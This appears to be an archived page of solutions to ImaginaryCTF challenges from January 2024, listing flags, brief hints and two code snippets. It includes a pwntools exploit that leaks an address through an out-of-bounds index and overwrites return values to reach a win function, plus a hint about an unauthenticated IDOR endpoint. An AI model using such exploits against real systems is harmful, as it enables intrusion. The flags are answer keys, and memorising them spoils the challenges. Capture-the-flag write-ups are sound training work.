Archived Challenges - January 2024

Submit the flag.

ictf{welcome_to_2024!}

import os
from Crypto.PublicKey import RSA

key = RSA.import_key(os.popen("ssh-keygen -f id_rsa.pub -e -m pem").read())

print(f"ictf{{{hex(key.n)[-16:]}}}")```

ictf{1952c49f998e01fd}

Construct N with a small Carmichael lambda value like 21621600. Then there's just 21621600 possible plaintexts, and one of them must be the flag.

https://imaginaryctf.org/r/BBE0-solve.py

ictf{my_carmichael_lambda_value_is_21621600_whats_yours}

fermat's little theorem

ictf{for_the_fermat_fans_out_there}

Accessing indices 16-19 will reveal the hex values of the flag.

ictf{oob_means_danger_2fb9184a}

from pwn import *

context.binary = elf = ELF("./vuln")
conn = remote("eth007.me", 42055)

conn.sendline(b"1")
conn.sendline(b"-3")
conn.recvuntil(b"0x")
elf.address = int(conn.recv(12), 16) - 0x12f9
info("elf @ " + hex(elf.address))

rop = ROP(elf)

conn.sendline(b"2")
conn.sendline(b"19")
conn.sendline(str(rop.find_gadget(["ret"])[0]).encode())

conn.sendline(b"2")
conn.sendline(b"20")
conn.sendline(str(elf.sym.win).encode())

conn.sendline(b"3")

conn.interactive()```

ictf{all_protections_no_problem_22b63d92}

Use Autopsy to recover the image file.

ictf{hidd3n_but_never_gone.}

https://imaginaryctf.org/r/4AD7-solve.py run solve.py and decode from decimal

ictf{hope_you_didnt_accidentally_modify_the_file}

Reverse the operations and guess where the character boundaries are.

flag{l1ght_w0rk_b4by_3e43e3}

The user login isn't authenticated and you can access the user 0. The flag is at https://idoriot.fly.dev/users/0

ictf{what_idoriot_makes_endpoints_unauthenticated?}